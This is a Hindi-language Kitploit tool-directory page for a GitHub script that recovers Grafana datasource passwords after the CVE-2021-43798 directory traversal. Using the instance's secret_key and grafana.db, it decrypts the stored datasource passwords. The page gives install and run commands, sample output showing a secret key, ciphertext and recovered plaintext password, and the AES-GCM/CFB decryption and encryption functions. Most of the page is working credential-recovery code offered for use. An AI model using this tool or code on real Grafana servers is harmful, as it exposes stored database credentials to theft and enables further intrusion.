Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Grafana-Decryptor-for-CVE-2021-43798 — ग्राफाना डेटासोर्स पासवर्ड को CVE-2021-43798 डायरेक्टरी ट्रैवर्सल का शोषण करके डिक्रिप्ट करता है, ताकि कॉन्फ़िगरेशन फ़ाइलें प्राप्त की जा सकें और एन्क्रिप्शन कुंजियाँ निकाली जा सकें। | Kitploit
उपकरण/GitHubGitHub/sic4rio/grafana-decryptor-for-cve-2021-43798
पासवर्ड क्रैकिंगएन्क्रिप्शन/डिक्रिप्शन उपकरणभेद्यता विश्लेषणशोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubsic4rio/grafana-decryptor-for-cve-2021-43798

Grafana-Decryptor-for-CVE-2021-43798

ग्राफाना डेटासोर्स पासवर्ड को CVE-2021-43798 डायरेक्टरी ट्रैवर्सल का शोषण करके डिक्रिप्ट करता है, ताकि कॉन्फ़िगरेशन फ़ाइलें प्राप्त की जा सकें और एन्क्रिप्शन कुंजियाँ निकाली जा सकें।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
8541 साल पहलेअभी तक समीक्षित नहीं

CVE-2021-43798 के लिए Grafana डिक्रिप्टर

यह स्क्रिप्ट एक Grafana इंस्टेंस से DataSource पासवर्ड को डिक्रिप्ट करती है जो CVE-2021-43798 के प्रति संवेदनशील है, जो अनधिकृत मनमाना फ़ाइल पढ़ने की अनुमति देता है।

विवरण

Grafana संस्करण 8.0.0-beta1 से 8.3.0 तक एक डायरेक्टरी ट्रैवर्सल कमजोरी के प्रति संवेदनशील हैं जो अनधिकृत उपयोगकर्ताओं को सर्वर पर मनमाना फ़ाइलें पढ़ने की अनुमति देती है। यह स्क्रिप्ट grafana.db फ़ाइल में पाए गए DataSource पासवर्ड को डिक्रिप्ट करने के लिए grafana.ini कॉन्फ़िगरेशन फ़ाइल में मिली secret_key का उपयोग करके इस कमजोरी का लाभ उठाती है।

आवश्यकताएँ

  • Python 3.6+
  • निम्नलिखित Python लाइब्रेरीज़:
    • requests
    • questionary
    • termcolor
    • cryptography

स्थापना

  1. रिपॉजिटरी को क्लोन करें या स्क्रिप्ट डाउनलोड करें।
  2. आवश्यक Python लाइब्रेरीज़ इंस्टॉल करें:
    root@kitploit:~
    pip install requests questionary termcolor cryptography
    

उपयोग

  1. सुनिश्चित करें कि आपके पास लक्षित Grafana इंस्टेंस से grafana.db और grafana.ini फ़ाइलें हैं।
  2. DataSource पासवर्ड को डिक्रिप्ट करने के लिए स्क्रिप्ट चलाएँ।

उदाहरण: DataSource पासवर्ड प्राप्त करें

root@kitploit:~
python decrypt.py

उदाहरण: एक सादा-पाठ पासवर्ड एन्क्रिप्ट करें

आप स्क्रिप्ट में उदाहरण कोड को कमेंट हटाकर एक सादा-पाठ पासवर्ड एन्कोड भी कर सकते हैं।

स्क्रिप्ट विवरण

एन्क्रिप्शन एल्गोरिथ्म प्राप्त करना

स्क्रिप्ट पेलोड का विश्लेषण करके उपयोग किए गए एन्क्रिप्शन एल्गोरिथ्म को निर्धारित करती है। डिफ़ॉल्ट एन्क्रिप्शन एल्गोरिथ्म aes-cfb है।

पासवर्ड डिक्रिप्ट करना

प्राप्त एन्क्रिप्शन एल्गोरिथ्म और grafana.ini से secret_key का उपयोग करके, स्क्रिप्ट DataSource पासवर्ड को डिक्रिप्ट करती है।

पासवर्ड एन्क्रिप्ट करना

स्क्रिप्ट में उसी एन्क्रिप्शन विधि और secret_key का उपयोग करके एक सादा-पाठ पासवर्ड को एन्क्रिप्ट करने की कार्यक्षमता भी शामिल है।

उदाहरण आउटपुट

root@kitploit:~
######################################
         GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
            SICARI0
######################################

? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd

डिक्रिप्शन और एन्क्रिप्शन फ़ंक्शन

root@kitploit:~
def decrypt_gcm(block, payload):
    gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
    return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()

def decrypt_cfb(block, payload):
    if len(payload) < 16:
        raise ValueError("Payload too short")
    
    iv = payload[SALT_LENGTH:SALT_LENGTH+16]
    payload = payload[SALT_LENGTH+16:]
    decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
    return decryptor.update(payload) + decryptor.finalize()

def encryption_key_to_bytes(secret, salt):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=10000,
        backend=default_backend()
    )
    return kdf.derive(secret.encode())

def decrypt(payload, secret):
    alg, payload = derive_encryption_algorithm(payload)
    
    if len(payload) < SALT_LENGTH:
        raise ValueError("Unable to compute salt")
    
    salt = payload[:SALT_LENGTH]
    key = encryption_key_to_bytes(secret, salt)
    
    block = algorithms.AES(key)
    
    if alg == AES_GCM:
        return decrypt_gcm(key, payload)
    else:
        return decrypt_cfb(key, payload)

def encrypt(payload, secret):
    salt = os.urandom(SALT_LENGTH)
    key = encryption_key_to_bytes(secret, salt)
    block = algorithms.AES(key)
    
    iv = os.urandom(16)
    encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
    encrypted = encryptor.update(payload) + encryptor.finalize()
    
    return salt + iv + encrypted

ये फ़ंक्शन डिक्रिप्शन और एन्क्रिप्शन प्रक्रियाओं को संभालते हैं।

योगदान

यदि आपको कोई बग मिलता है या सुधार के लिए सुझाव हैं तो बेझिझक issues या pull requests खोलें।

लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है। विवरण के लिए LICENSE फ़ाइल देखें।

टूल डाउनलोड करें